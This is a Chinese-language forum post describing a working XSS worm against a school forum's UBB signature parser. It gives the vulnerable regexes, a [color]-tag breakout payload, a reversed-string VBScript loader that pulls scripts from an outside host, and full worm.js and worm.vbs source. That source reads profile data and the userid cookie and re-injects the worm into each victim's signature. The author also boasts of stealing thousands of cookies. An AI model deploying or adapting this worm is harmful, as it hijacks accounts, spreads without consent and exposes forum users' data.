利用xss漏洞的web蠕虫的实现

议题作者:Inking
信息来源:邪恶八进制社区

比较讨厌打字,我就简单的说一下吧.
目标:学校自己写的论坛程序,经过了n年的风风雨雨了
漏洞描述:转换ubb的任务是在客户端完成的(js),虽然论坛程序对客户端提交的代码进行了转义(如:<>"'等),但是却对ubb代码的属性的javascript字符进行转义,结果就导致了ubb漏洞,漏洞关键代码如下

pattern=/(\[URL\])(.[^\[]*)(\[\/URL\])/gi;
strContent= strContent.replace(pattern,"<A HREF=\"$2\" TARGET=_blank>$2</A>")
pattern=/\[color=(.[^\[]*)\](.*?)\[\/color\]/gi;
strContent=strContent.replace(pattern,"<span style=\"color:$1;\">$2</span>");

我们再来看看插入html里面后是怎么样的,这里我插入的是签名档,其它地方也是一样的,查看页面源代码看到

<span id="ubbcode2" >test</span><script>searchubb('ubbcode2',3,'tablebody2');</script>

这里的[url]ubb标签不是很好利用,因为他的TARGET=_blank,如果你写入javascript:alert (document.cookie)根本获取不到cookie,因为代码在空白页面中执行了,不过你可以写入javascript: window.location…不过不隐蔽,我们需要更加好的隐藏方式,找来找去唯有[color]这个标签比较好用.我们可以这样来进行闭合

[color=green" style="background:url(javascript:alert(/xss/))][//color]

下面可以来写调用蠕虫的代码了.我这样写

set j=document.createElement(""script""):j.src=""http://xxx/a.js"":document.getElementById(""ubbcode1"").appendChild(j):set v=document.createElement(""script""):v.src=""http://xxx/vb.vbs"":v.language=""vbscript"":document.getElementById(""ubbcode1"").appendChild(v)

但是这里问题有一个,刚才漏洞代码里面的url标签会干扰上面的代码里的"http://xxx/vb.vbs",误认为这句话也需要转换,所以上面的代码就出错了.解决的方法有两个1是将上面的代码用10进制转换,然后再用String.fromCharCode转换回来,在eval执行,不过这样转换后的代码太长了,想做蠕虫不适合.所以找了一个晚上找到了这么一个解决办法:不要js,用vbs,先将代码倒着写,然后用StrReverse倒回来,再 execute执行,这样那个正则就不会看到http这个字符了,程序完美的执行,代码如下

[color=green" style='background:url(vbscript:execute(StrReverse(")v(dlihCdneppa.)""1edocbbu""(dIyBtnemelEteg.tnemucod:""tpircsbv""=egaugnal.v:""gpj.sbv/xxx//:ptth""=crs.v:)""tpircs""(tnemelEetaerc.tnemucod=v tes:)j(dlihCdneppa.)""1edocbbu""(dIyBtnemelEteg.tnemucod:""gpj.sj/xxx//:ptth""=crs.j:)""tpircs""(tnemelEetaerc.tnemucod=j tes")))']

这里调用了两个文件,一个是js文件,另一个是vbs文件,这两个就是蠕虫程序了两个文件的代码如下

//worm.js
function makeRequest(method,url,data){
http_request = false;
if (window.XMLHttpRequest){ // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType){
http_request.overrideMimeType('text/xml');
}
}else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Giving up :( Cannot create an XMLHTTP instance');
return false;
}
method=='GET'?http_request.onreadystatechange = alertContents:http_request.onreadystatechange=postback;
http_request.open(method, url, true);
if(method=='POST'){
http_request.setRequestHeader("content-length",data.length);
http_request.setRequestHeader("content-type","application/x-www-form-urlencoded");
}
http_request.send(data);
}

function alertContents() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
content=bytes2BSTR(http_request.responseBody);
pattern=/name=\"title\" value\=\"(.*?)\"/gi;//匹配头衔
re=pattern.exec(content);
title=re[1];
pattern=/value=\"([01])\" checked name=\"Sex\"|name=\"Sex\" checked value=\"([01])\"/gi;//匹配性别
re=pattern.exec(content);
Sex=re[1]==''?re[2]:re[1];
pattern=/onclick=\"birth_ctrl\(\)\" ([checked=\"]*?) \/>/gi;//匹配用户生日是否为空
re=pattern.exec(content);
isbirthnull=re[1]==''?'':'null';
if(isbirthnull==''){
pattern=/\<option value=\"([0-9]{4})\" selected\>/gi;//匹配出生年
re=pattern.exec(content);
birthyear=re[1];
pattern=/\<option value=\"([0-9]{1,2})\" selected\>/gi;//匹配出生月日
var inre=1;
while((re=pattern.exec(content))!=null){
inre==1?birthmonth=re[1]:birthday=re[1];
inre++;
}
}
else{
birthyear='';
birthmonth='';
birthday='';
}
pattern=/name=\"myface\" size=30 maxlength=100 value=(.*?)>/gi;//匹配用户头像
re=pattern.exec(content);
myface=re[1];
pattern=/name=\"width\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像宽度
re=pattern.exec(content);
width=re[1];
pattern=/name=\"height\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像高度
re=pattern.exec(content);
height=re[1];
pattern=/name=\"userphoto\" value=\"(.*?)\"/gi;//匹配用户照片
re=pattern.exec(content);
userphoto=re[1];
pattern=/name=\"groupname\" value=\"(.*?)\"/gi;//匹配用户门派
re=pattern.exec(content);
groupname=re[1];
pattern=/wrap=PHYSICAL\>(.*?)\<\/textarea\>/gi;//匹配签名内容
re=pattern.exec(content);
Signature=re[1];
pattern=/name=\"usercookies\" value=\"([0-9])\" checked/gi;//匹配用户cookies
re=pattern.exec(content);
usercookies=re[1];
pattern=/name=setuserinfo value=([0-1]) checked/gi;//匹配用户保密
re=pattern.exec(content);
setuserinfo=re[1];
extras="%5Bcolor%3Dgreen%22%20style%3D%27background%3Aurl%28vbscript%3Aexecute%28StrReverse%28%22%29v%28dlihCdneppa.%29%22%221edocbbu%22%22%28dIyBtnemelEteg.tnemucod%3A%22%22tpircsbv%22%22%3Degaugnal.v%3A%22%22gpj.sbv/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//%3Aptth%22%22%3Dcrs.v%3A%29%22%22tpircs%22%22%28tnemelEetaerc.tnemucod%3Dv%20tes%3A%29j%28dlihCdneppa.%29%22%221edocbbu%22%22%28dIyBtnemelEteg.tnemucod%3A%22%22gpj.sj/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//%3Aptth%22%22%3Dcrs.j%3A%29%22%22tpircs%22%22%28tnemelEetaerc.tnemucod%3Dj%20tes%22%29%29%29%27%5D%5B/color%5D";
//extras=URLEncoding(extras);
if(Signature.indexOf("StrReverse")>-1){
return false;
}
face='gg1.gif';
post='title='+title+'&Sex='+Sex+'&isbirthnull='+isbirthnull+'& birthyear='+birthyear+'&birthmonth='+birthmonth+'&birthday='+birthday +'&face='+face+'&myface='+myface+'&width='+width+'&height ='+height+'&userphoto='+userphoto+'&groupname='+groupname+'&Signature ='+Signature+'%20'+extras+'&usercookies='+usercookies+'&setuserinfo ='+setuserinfo+'&Submit='+escape('更 新');
cookies=document.cookie.split(";");
for(var i=0;i<cookies.length;i++){
if(cookies[i].indexOf('userid')>-1)
uc=cookies[i];
}
uc=uc.split("&");
for(var i=0;i<uc.length;i++){
if(uc[i].indexOf('userid')>-1)
uid=uc[i];
}
post=URLEncoding(post);
url='http://10.71.45.98/mymodify.asp?action=updat&'+uid;
makeRequest('POST',url,post);
} else {
alert('There was a problem with the request.');
}
}
}

function postback(){
}
var http_request = false;
var url='http://10.71.45.98/mymodify.asp';
makeRequest('GET',url,null);


'worm.vbs
'以下函数是uft8和gbk的转码函数,为了返回的内容是对的
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

'以下函数为url编码函数,这个是为了post过去的函数是对的
Function URLEncoding(vstrIn)
strReturn = ""
For i = 1 To Len(vstrIn)
ThisChr = Mid(vStrIn,i,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00)\ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding = strReturn
End Function

其中对vbs文件进行简单的说明,由于ajax只认识uft-8,所以返回或者接收到的都会是乱码,所以需要这个vbs进行转码,然后再urlencode进行post
下面对js文件进行详细的说明
对于makeRequest这个自定义函数只要学过ajax的都知道,这个是主要代码,哪里都差不多,所以就不说了.
alertContents函数是对返回的数据进行正则匹配,筛选出要的数据备用具体工作的流程是这样的:
由于我是将蠕虫代码插入到个人签名里面的,所以首先get到http://10.71.45.98/mymodify.asp地址(个人签名修改页),用来get的函数是makeRequest(),然后makeRequest函数将返回的数据传给alertContents() 函数,alertContents函数对mymodify.asp的内容进行正则匹配,得到用户原来的个性签名,出生年月等信息,毕竟我们在插入代码的时候要保证用户原来的信息的完整性,这样才能达到隐蔽的效果.得到这些信息后alertContents函数再将我的恶意代码连同用户原来的信息post到http://10.71.45.98/mymodify.asp?action=updat&uid=xxxx这个页面上去,这样就修改了用户数据,插入了蠕虫传染代码,变量extras的值就是蠕虫传播代码,经过了escape加密的,这样是为了防止程序出错,post上去的数据能够保持完整.
好了代码其实都很简单,里面也没有什么破坏的代码,甚至连个弹窗的代码,毕竟这个论坛不是那么好搞的,万一被查,我就卷铺盖走人了.利用方式也很简单,将上面的上面的上面的代码先插入到某个人的签名档里面,然后只要他去发帖,别人点了后马上感染,然后再感染.这个漏洞还是比较隐蔽的,按照上面的代码没有任何异常的现象.
本来想贴几张图的,没想到是知道的我的事情的人太多了还是之前自己在盗cookie的时候被发现了(那cookie的量可是相当的大,几千个呵呵),在写这篇文章的时候漏洞居然给补上了,我寒.有鸡蛋就扔过来吧

相关日志

发表评论